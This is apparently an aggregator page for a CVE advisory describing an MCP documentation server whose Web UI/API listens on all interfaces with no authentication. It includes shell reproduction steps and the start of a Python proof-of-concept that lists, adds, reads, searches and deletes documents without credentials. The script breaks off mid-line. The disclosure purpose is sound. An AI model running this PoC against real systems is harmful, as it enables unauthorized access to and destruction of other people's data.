🛡️ CVE-2026-54504 — mcp-documentation-server

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-306 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

```text

http://localhost:3080

```

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

```ts

if (process.env.START_WEB_UI !== 'false') {

initializeDocumentManager().then(manager => {

return startWebServer(undefined, manager);

}).then(() => {

console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');

})...

}

```

In src/web-server.ts, the Express app appears to listen with only the port:

```ts

const server = app.listen(PORT, () => {

console.log(\n 🌐 MCP Documentation Server - Web UI);

console.log( ────────────────────────────────────);

console.log( Local: http://localhost:${PORT});

console.log( Network: http://0.0.0.0:${PORT}\n);

});

```

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

```text

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

```

The exposed API includes document-admin operations such as:

```text

GET /api/documents

GET /api/documents/:id

POST /api/documents

POST /api/search-all

DELETE /api/documents/:id

GET /api/config

```

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

```bash

cd ~/Desktop

mkdir -p docsrv_repro_from_scratch

cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git

cd mcp-documentation-server

git rev-parse HEAD

npm install --no-audit --no-fund

npm run build

ls -l dist/server.js

node -p "require('./package.json').version"

```

Expected version:

```text

1.13.0

```

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

```bash

rm -rf /tmp/docsrv_base

mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \

WEB_PORT=3080 \

node dist/server.js \

</dev/null \

>/tmp/docsrv_stdout.log \

2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$!

sleep 5

echo "DOCSRV_PID=$DOCSRV_PID"

ps -p "$DOCSRV_PID" -o pid,stat,cmd

```

3. Confirm that the Web UI/API binds to all interfaces

```bash

ss -ltnp | grep ':3080' || true

```

Observed:

```text

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

```

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

```bash

LAN_IP=$(hostname -I | awk '{print $1}')

echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"

echo

```

Observed:

```text

LAN_IP=10.0.250.230

{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

```

No authentication header was sent.

5. Full unauthenticated document-admin PoC

```bash

cat > /tmp/docsrv_unauth_poc.py <<'PY'

#!/usr/bin/env python3

import json

import sys

import urllib.request

import urllib.error

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"

PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080

BASE = f"http://{HOST}:{PORT}"

def req(method, path, body=None):

data = json.dumps(body).encode() if body is not None else None

headers = {"Content-Type": "application/json"} if body is not None else {}

r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)

with urllib.request.urlopen(r, timeout=10) as resp:

raw = resp.read().decode()

try:

return resp.status, json.loads(raw or "null")

except Exception:

return resp.status, raw

def main():

print(f"[poc] target = {BASE}")

print("[poc] no Authorization header is sent")

status, config = req("GET", "/api/config")

print(f"[0] config: HTTP {status}, {config}")

status, docs = req("GET", "/api/documents")

print(f"[1] list documents: HTTP {status}

How this vulnerability can be exploited

This issue can be reached from an adjacent network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-54504 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.

Affected software

CVE-2026-54504 is recorded against 1 package.

  • @andrea9293/mcp-documentation-server

Timeline and source

Published on 15 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-306
Public Exploit ✅ No
Source OSV
Published 2026-07-15
Updated 2026-08-12
Modified 2026-07-15
Fix URL N/A

Affected Packages

Software From version Fixed in
@andrea9293/mcp-documentation-server

Site Security Check

Is mcp-documentation-server part of your stack?

CVE-2026-54504 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.